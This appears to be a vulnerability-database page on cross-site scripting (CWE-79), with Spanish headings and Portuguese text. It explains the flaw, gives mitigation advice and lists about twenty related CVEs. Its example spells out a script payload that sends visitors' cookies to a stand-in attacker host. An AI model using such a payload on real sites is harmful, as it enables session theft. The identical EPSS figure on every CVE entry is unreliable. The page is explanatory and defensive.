Fallos del tipo CWE-79

30.669 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2022-46073MEDIUMHelmet Store Showroom 1.0 is vulnerable to Cross Site Scripting (XSS).EPSS 1.3%CVE-2025-5366HIGHStored XSSEPSS 1.3%CVE-2025-5966HIGHStored XSSEPSS 1.3%CVE-2023-6134MEDIUMKeycloak: reflected xss via wildcard in oidc redirect_uriEPSS 1.3%CVE-2021-33851—A cross-site scripting (XSS) attack can cause arbitrary code (JavaScript) to run in a user's browser and can use an application as the vehicEPSS 1.3%CVE-2021-37695HIGHExecution of JavaScript code using malformed HTML in ckeditorEPSS 1.3%CVE-2023-37988HIGHWordPress Contact Form Generator Plugin <= 2.5.5 is vulnerable to Cross Site Scripting (XSS)EPSS 1.3%CVE-2021-43787CRITICALXSS via prototype pollutionEPSS 1.3%CVE-2020-15139HIGHXSS in MyBBEPSS 1.3%CVE-2024-28623MEDIUMRiteCMS v3.0.0 was discovered to contain a cross-site scripting (XSS) vulnerability via the component main_menu/edit_section.EPSS 1.3%CVE-2024-21328HIGHDynamics 365 Sales Spoofing VulnerabilityEPSS 1.3%CVE-2016-3709—Possible cross-site scripting vulnerability in libxml after commit 960f0e2.EPSS 1.3%CVE-2022-0571MEDIUMCross-site Scripting (XSS) - Reflected in phoronix-test-suite/phoronix-test-suiteEPSS 1.3%CVE-2022-4092MEDIUMAn issue has been discovered in GitLab EE affecting all versions starting from 15.6 before 15.6.1. It was possible to create a malicious REAEPSS 1.3%CVE-2023-29183HIGHAn improper neutralization of input during web page generation ('Cross-site Scripting') vulnerability [CWE-79] in FortiProxy 7.2.0 through 7EPSS 1.3%CVE-2024-31868MEDIUMApache Zeppelin: XSS vulnerability in the helium moduleEPSS 1.3%CVE-2024-20719CRITICAL[Adobe Commerce] Stored XSS from low privileged admin user on every admin page, bypassing CVE-2023-29297EPSS 1.3%CVE-2024-27743MEDIUMCross Site Scripting vulnerability in Petrol Pump Mangement Software v.1.0 allows an attacker to execute arbitrary code via a crafted payloaEPSS 1.3%CVE-2018-3717—connect node module before 2.14.0 suffers from a Cross-Site Scripting (XSS) vulnerability due to a lack of validation of file in directory.jEPSS 1.3%CVE-2026-55549MEDIUMYamcs: Reflected XSS in the URL of the Authorize EndpointEPSS 1.3%